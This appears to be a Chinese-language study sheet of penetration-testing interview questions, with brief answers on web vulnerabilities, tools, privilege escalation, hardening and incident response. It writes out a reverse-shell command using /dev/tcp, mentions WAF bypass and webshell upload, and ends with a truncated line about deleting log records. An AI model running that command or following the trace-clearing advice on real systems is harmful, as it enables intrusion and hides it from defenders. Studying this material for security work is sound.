2026-10-24 08:47:53
介绍一下自认为有趣的挖洞经历(或CTF经历)
简述一次在特定网站或系统中发现并利用漏洞的经历,包括漏洞类型、利用过程及最终成果。
强调在CTF比赛中,如何团队协作解决复杂问题,或展示个人在解题过程中的创新思维。
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
列举SQL注入、XSS、CSRF等常见漏洞。
SQL注入:原理是输入恶意SQL代码到后端数据库执行。修复方案包括使用预编译语句、参数化查询等。
XSS:原理是攻击者向网页中注入恶意脚本。修复方案包括HTML实体编码、使用CSP等。
CSRF:原理是利用用户已登录状态执行未授权操作。修复方案包括使用CSRF Token、验证Referer等。
你平时使用哪些工具?以及对应工具的特点?
Nmap:网络扫描工具,用于发现目标主机的开放端口和服务。
Burp Suite:Web应用安全测试工具,支持拦截、修改HTTP请求和响应。
Metasploit:自动化渗透测试框架,包含大量漏洞利用模块。
Sqlmap:自动化SQL注入工具,支持多种数据库和注入技术。
如果遇到WAF的情况下如何进行SQL注入/上传Webshell怎么做?
SQL注入:尝试绕过WAF的过滤规则,如使用注释、编码、大小写混合等方式。
上传Webshell:利用WAF未覆盖的漏洞点,如文件上传功能中的文件类型检查不严等。
谈谈Windows系统与Linux系统提权的思路?
Windows:利用系统漏洞、弱密码、服务提权等方式。
Linux:利用内核漏洞、SUID文件、计划任务等。
列举出您所知道的所有开源组件高危漏洞
如Apache Struts2漏洞、Log4j漏洞、Spring框架漏洞等。
描述一个你深入研究过的 CVE 或 POC
简述CVE编号、漏洞影响、利用方式及修复方案。
php/java反序列化漏洞的原理?解决方案?
原理:攻击者通过构造恶意序列化数据,使后端反序列化时执行恶意代码。
解决方案:避免使用不安全的反序列化函数,使用安全的替代方案。
如果一台服务器被入侵后,你会如何做应急响应?
立即隔离受感染系统,收集证据,分析入侵途径,修复漏洞,恢复系统。
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
成因:输入未经过滤直接传递给数据库执行。
防范:使用预编译语句、参数化查询、输入验证等。
注入方式:基于错误、联合查询、布尔盲注、时间盲注等。
利用方式:读取数据库数据、写入恶意数据、执行数据库管理命令等。
常见的中间件解析漏洞利用方式
如Apache Tomcat的任意文件上传漏洞、IIS的短文件名漏洞等。
Windows、Linux、数据库的加固降权思路
Windows:禁用不必要的服务、限制用户权限、安装安全补丁。
Linux:使用最小权限原则、配置防火墙、定期更新系统。
数据库:使用最小权限账户、配置访问控制、定期备份数据。
如何绕过CDN获取目标网站真实IP,谈谈你的思路
通过分析DNS记录、利用邮件头信息、利用子域名解析等方式。
如果给你一个网站,你的渗透测试思路是什么?
信息收集、漏洞扫描、漏洞验证、权限提升、维持访问、清理痕迹。
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
常用命令:nc、bash -i >& /dev/tcp/IP/PORT 0>&1等。
常反弹的shell:Bash shell,因其功能强大且兼容性好。
SSRF漏洞的成因 防御 绕过?
成因:应用从用户输入中读取URL并访问。
防御:限制访问范围、验证URL格式、使用白名单等。
绕过:利用DNS重绑定、HTTP重定向等方式。
SQLi相关
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?
通过联合查询写入恶意数据到文件系统中。
利用数据库导出功能生成恶意文件。
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
数据库用户具有写文件权限。
目标系统存在可写目录。
宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?
原理:利用数据库对宽字符的处理差异绕过过滤。
利用:构造包含宽字符的恶意SQL语句。
修复:统一字符编码,严格输入验证。
浏览器知识
如何设置可以跨域请求数据?jsonp是做什么的?
通过设置CORS策略允许跨域请求。
JSONP是一种跨域请求数据的方案,利用<script>标签不受同源策略限制的特点。
XSS相关
如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么?
前端:对输入进行HTML实体编码。
后端:验证输入数据,使用安全的模板引擎。
后端更好:因为前端防御可能被绕过,后端防御更可靠。
CSRF/SSRF
CSRF漏洞的本质是什么?
攻击者利用用户已登录状态执行未授权操作。
SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别?
原理:应用从用户输入中读取URL并访问内部资源。
利用:读取内部文件、访问内部服务等。
修复:限制访问范围、验证URL格式等。
区别:Java和PHP在处理URL时可能存在不同的实现细节和漏洞点。
逻辑漏洞
说出至少三种业务逻辑漏洞,以及修复方式?
越权访问:修复方式包括严格权限控制、验证用户身份。
密码找回漏洞:修复方式包括验证用户身份、限制重置次数。
支付漏洞:修复方式包括验证支付信息、限制支付金额。
Java考察
了解java沙箱吗?
Java沙箱是一种安全机制,用于限制Java程序对系统资源的访问。
ibats的参数化查询能不能有效的控制sql注入?
能,但需注意避免使用不安全的查询方式。
PHP考察
php的LFI,本地包含漏洞原理是什么?
攻击者通过输入恶意路径,使后端包含并执行恶意文件。
php反序列化漏洞的原理?解决方案?
原理:与Java反序列化漏洞类似。
解决方案:避免使用不安全的反序列化函数。
常见中间件
Redis未授权访问漏洞如何入侵利用?
通过未授权访问Redis服务器,执行恶意命令或读取敏感数据。
tomcat要做哪些安全加固?
禁用不必要的服务、配置访问控制、定期更新等。
数据库安全
mysql安全要如何做?
使用强密码、限制访问权限、定期备份数据、安装安全补丁等。
Linux操作系统
简述Linux系统安全加固需要做哪些方面?
更新系统补丁、配置防火墙、限制用户权限、使用安全工具等。
应急响应
有哪几种后门实现方式?
如Webshell、SSH后门、系统级后门等。
遇到新0day后,应该如何进行应急响应?
立即隔离受感染系统,分析漏洞原理,修复漏洞,恢复系统。
有助于了解目标系统的架构和潜在漏洞点。
查找并删除恶意日志记录,确保